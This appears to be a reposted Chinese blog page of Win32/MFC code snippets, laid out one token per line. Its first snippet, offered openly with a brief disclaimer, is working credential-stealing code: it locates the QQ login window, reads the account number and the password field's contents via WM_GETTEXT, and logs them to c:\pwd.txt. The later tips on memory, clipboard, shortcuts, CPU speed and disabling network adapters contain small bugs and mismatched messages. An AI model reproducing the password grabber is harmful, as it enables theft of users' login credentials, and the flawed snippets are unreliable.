关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以qq为例,只抛砖引玉~~呵呵
申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播\复制,但不得用做其他非法用途,否则责任自负.
BOOL
CALLBACK
EnumqqChildProc(HWND
hwndChild,
LPARAM
lParam)
{
//如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
char
num[11];//qq号码
char
pwd[20];//qq密码
BOOL
b
=
true;
HWND
CobHwnd
=
::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
HWND
EditNumHwnd
=
::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
//以下循环是得到密码框句柄
HWND
EditPWDHwnd
=
::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND
AfterHwnd
=
NULL;
while(b)
{
LONG
lStyle
=
::GetWindowLong(EditPWDHwnd,
GWL_STYLE);//这个api很有用,可以得到很多东西
if(
(lStyle
&
ES_PASSWORD))//如果有密码属性,就是密码框
{
b=false;
}
else
{
AfterHwnd
=
EditPWDHwnd;
EditPWDHwnd
=
::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return
true;
}
//通过WM_GETTEXT取得,窗口中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//记录号码和密码
CString
str;
str.Format("\r\n号码:%s
密码:%s",num,pwd);
CFile
f;
f.Open("c:\\pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
f.SeekToEnd();
f.Write(str,str.GetLength());
bLoop=
false;
return
false;
return
TRUE;
}
BOOL
CALLBACK
EnumChildProc(HWND
hwndChild,
LPARAM
lParam)
{
//这个回调函数就是用来找到qq窗口句柄
char
strTitle[80];
if(::GetWindowText(hwndChild,strTitle,80))
if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到
{
bFindqq
=
true;
return
false;
}
return
TRUE;
}
//调用的代码:
HWND
hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
HWND
AfterHwnd
=
NULL;
while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口
{
hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
if(!hwnd)
break;
AfterHwnd
=
hwnd;
EnumChildWindows(hwnd,EnumChildProc,NULL);
if(bFindqq)
qqHwnd
=
hwnd;
}
if(bFindqq)
EnumChildWindows(hwnd,EnumqqChildProc,NULL);
Q
如何得到物理内存的大小?
A
MEMORYSTATUS
mem_stat;
GlobalMemoryStatus(&mem_stat);
CString
str;
str.Format("%d,%3dKB",mem_stat.dwTotalPhys/1024/1000,mem_stat.dwTotalPhys/1024-mem_stat.dwTotalPhys/1024/1000*1000);
GetDlgItem(IDC_MEMPHYS)->SetWindowText(str);IDC_MEMPHYS就是显示内存的控件ID
Q
如何得到windows系统剪贴板消息?(ctrl+c
和右键的复制)
A
SetClipboardViewer会将你的窗口加入到一个链表的最前面,以后每次剪贴板内容发生变化,系统会发出wm_drawclipboard消息给这个链表的第一个结点
你可以参考:
ClipSpy---A
tool
for
viewing
clipboard
and
drag-and-drop
data
http://www.codeproject.com/clipboard/clipspy.asp
Q
在工作线程中调用UpdateData函数怎么抛出异常呢?
A
简单的说,不能跨线程访问MFC窗口对象。MFC句柄封装类只在创建句柄的线程中有效,在其它线程中访问会出现无法预料的结果。适当的访问方式是直接访问句柄。更多信息参见http://www.csdn.net/develop/read_article.asp?id=23171
你需要另外想办法,例如在线程类中声明一个指针,AfxBeginThread的时候以暂停方式启动线程,设置指针为文档指针之后继续线程的运行。
参考http://support.microsoft.com/default.aspx?scid=kb;en-us;147578
Q
如何检测当前系统是否连接了internet
A
DWORD
dwFlags;
if
(InternetGetConnectedStat
e(&dwFlags,0))
if
(dwFlags&INTERNET_CONNECTION_LAN==INTERNET_CONNECTION_LAN)
MessageBox("已经使用MODEM连接到了Internet!","信息");
else
MessageBox("还没有连接到Internet!","信息");Top
创建快捷方式:
BOOL
CreateLink
(
LPSTR
szPath,//快捷方式的目标应用程序名
LPSTR
szLink)//快捷方式的数据文件名(*.lnk)
{
HRESULT
hres
;
IShellLink
*
psl
;
IPersistFile*
ppf
;
WORD
wsz[
MAX_PATH]
;
//创建一个IShellLink实例
hres
=
CoCreateInstance(
CLSID_ShellLink,
NULL,
CLSCTX_INPROC_SERVER,
IID_IShellLink,
(void
**)&psl)
;
if(
FAILED(
hres))
return
FALSE
;
//设置目标应用程序
psl
->
SetPath(
szPath)
;
//设置快捷键(此处设为Shift+Ctrl+'R')
psl
->
SetHotkey(
MAKEWORD(
'R',
HOTKEYF_SHIFT
|HOTKEYF_CONTROL))
;
//从IShellLink获取其IPersistFile接口
//用于保存快捷方式的数据文件
(*.lnk)
hres
=
psl
->
QueryInterface(
IID_IPersistFile,
(void**)&ppf)
;
if(
FAILED(
hres))
return
FALSE
;
//
确保数据文件名为ANSI格式
MultiByteToWideChar(
CP_ACP,
0,
szLink,
-1,
wsz,
MAX_PATH)
;
//调用IPersistFile::Save
//保存快捷方式的数据文件
(*.lnk)
hres
=
ppf
->
Save(
wsz,
STGM_READWRITE)
;
//释放IPersistFile和IShellLink接口
ppf
->
Release(
)
;
psl
->
Release(
)
;
return
TRUE;
}
剩余内存
MEMORYSTATUS
MemStat;
MemStat.dwLength
=
sizeof(MEMORYSTATUS);
GlobalMemoryStatus(&MemStat);
//strFreeMemory.Format(strFrm,
MemStat.dwAvailPhys
/1024L);
m_Edt_Memory
=
MemStat.dwAvailPhys
/
1024L;
UpdateData(FALSE);
获取内存的信息:
#include
"stdafx.h"
#include
<windows.h>
#include
"stdio.h"
//
Use
to
change
the
divisor
from
Kb
to
Mb.
#define
DIV
1024
//
#define
DIV
1
char
*divisor
=
"K";
#define
WIDTH
7
void
main(int
argc,
char
*argv[])
{
MEMORYSTATUS
stat;
GlobalMemoryStatus
(&stat);
printf
("The
MemoryStatus
structure
is
%ld
bytes
long.\n",
stat.dwLength);
printf
("It
should
be
%d.\n",
sizeof
(stat));
printf
("%ld
percent
of
memory
is
in
use.\n",
stat.dwMemoryLoad);
printf
("There
are
%*ld
total
%sbytes
of
physical
memory.\n",
WIDTH,
stat.dwTotalPhys/DIV,
divisor);
printf
("There
are
%*ld
free
%sbytes
of
physical
memory.\n",
WIDTH,
stat.dwAvailPhys/DIV,
divisor);
printf
("There
are
%*ld
total
%sbytes
of
paging
file.\n",
WIDTH,
stat.dwTotalPageFile/DIV,
divisor);
printf
("There
are
%*ld
free
%sbytes
of
paging
file.\n",
WIDTH,
stat.dwAvailPageFile/DIV,
divisor);
printf
("There
are
%*lx
total
%sbytes
of
virtual
memory.\n",
WIDTH,
stat.dwTotalVirtual/DIV,
divisor);
printf
("There
are
%*lx
free
%sbytes
of
virtual
memory.\n",
WIDTH,
stat.dwAvailVirtual/DIV,
divisor);
}
得到CPU的主频:
DWORD
CCapterManger::GetCPUSpeed()
{
DWORD
lowS,higS,lowE,higE;
DWORD
dwStart,dwEnd;
__asm
{
LEA
EBX,GetTickCount
PUSH
EBX
CALL
dword
ptr[EBX]
MOV
dwStart,EAX
RDTSC
MOV
lowS,EAX
MOV
higS,EDX
PUSH
0xFE
LEA
EBX,Sleep
CALL
dword
ptr
[EBX]
RDTSC
MOV
lowE,EAX
MOV
higE,EDX
POP
EBX
CALL
dword
ptr[EBX]
MOV
dwEnd,EAX
}
__int64
startI
=
higS;
__int64
endI
=
higE;
startI
<<=
32;
endI
<<=
32;
startI
+=
lowS;
endI
+=
lowE;
DWORD
speed
=
(DWORD)(endI
-
startI)/(dwEnd
-
dwStart);
return
speed;
//KHz
}
禁用网卡:
//
disableNetwork.cpp
:
Defines
the
entry
point
for
the
console
application.
//
#include
"stdafx.h"
#include
"stdio.h"
#include
<tchar.h>
#include
<windows.h>
#include
<setupapi.h>
#pragma
comment
(lib,"setupapi")
#define
UnknownDevice
TEXT("<Unknown
Device>")
HDEVINFO
hDevInfo
=
0;
BOOL
StateChange(DWORD
NewState,
DWORD
SelectedItem,HDEVINFO
hDevInfo)
{
SP_PROPCHANGE_PARAMS
PropChangeParams
=
{sizeof(SP_CLASSINSTALL_HEADER)};
SP_DEVINFO_DATA
DeviceInfoData
=
{sizeof(SP_DEVINFO_DATA)};
HCURSOR
hCursor;
//
//
This
may
take
a
while
:^(
//
hCursor
=
SetCursor(LoadCursor(NULL,
IDC_WAIT));
//
//
Get
a
handle
to
the
Selected
Item.
//
if
(!SetupDiEnumDeviceInfo(hDevInfo,SelectedItem,&DeviceInfoData))
{
printf("EnumDeviceInfo");
return
FALSE;
}
//
//
Set
the
PropChangeParams
structure.
//
PropChangeParams.ClassInstallHeader.InstallFunction
=
DIF_PROPERTYCHANGE;
PropChangeParams.Scope
=
DICS_FLAG_GLOBAL;
PropChangeParams.StateChange
=
NewState;
if
(!SetupDiSetClassInstallPa
rams(hDevInfo,
&DeviceInfoData,
(SP_CLASSINSTALL_HEADER
*)&PropChangeParams,
sizeof(PropChangeParams)))
{
printf("SetClassInstallParams");
SetCursor(hCursor);
return
FALSE;
}
//
//
Call
the
ClassInstaller
and
perform
the
change.
//
if
(!SetupDiCallClassInstalle
r(DIF_PROPERTYCHANGE,
hDevInfo,
&DeviceInfoData))
{
printf("SetClassInstallParams");
SetCursor(hCursor);
return
TRUE;
}
SetCursor(hCursor);
return
TRUE;
}
BOOL
IsClassNet(
GUID
*
ClassGuid
)
{
#define
MAX_NUM
50
HKEY
hKeyClass;
LONG
lRet;
char
ClassType[MAX_NUM];
char
NetClass[MAX_NUM]
=
"Net";
DWORD
dwLength
=
MAX_NUM,dwType
=
REG_SZ;
if
(hKeyClass
=
SetupDiOpenClassRegKey(ClassGuid,KEY_READ))
{
lRet
=
RegQueryValueEx(hKeyClass,
TEXT("Class"),
NULL,
&dwType,
LPBYTE(ClassType),
&dwLength);
RegCloseKey(hKeyClass);
if
(lRet
!=
ERROR_SUCCESS)
return
FALSE;
if
(!strcmp(ClassType,NetClass))
return
TRUE;
}
return
FALSE;
}
int
main(int
argc,
char*
argv[])
{
if
(INVALID_HANDLE_VALUE
==
(hDevInfo
=
SetupDiGetClassDevs(NULL,NULL,0,
DIGCF_PRESENT|DIGCF_ALLCLASSES)))
{
printf("GetClassDevs");
return
0;
}
DWORD
i,
Status,
Problem;
SP_DEVINFO_DATA
DeviceInfoData
=
{sizeof(SP_DEVINFO_DATA)};
HKEY
hKeyClass;
char
DeviceName[200];
for
(i=0;SetupDiEnumDeviceInfo(hDevInfo,i,&DeviceInfoData);i++)
{
if
(IsClassNet(&DeviceInfoData.ClassGuid))
{
printf("
the
class's
index
is
%d\n",i);
//
//DICS_DISABLE-->禁用网络
//DICS_ENABLE--->恢复网络
//
if
(StateChange(DICS_ENABLE,i,hDevInfo))
printf("NetWork
stopped");
}
}
return
0;
}
转自:http://blog.sina.com.cn/s/blog_5d8cc6410100e42g.html
创建快捷方式:
转自:http://blog.sina.com.cn/s/blog_5d8cc6410100e42g.html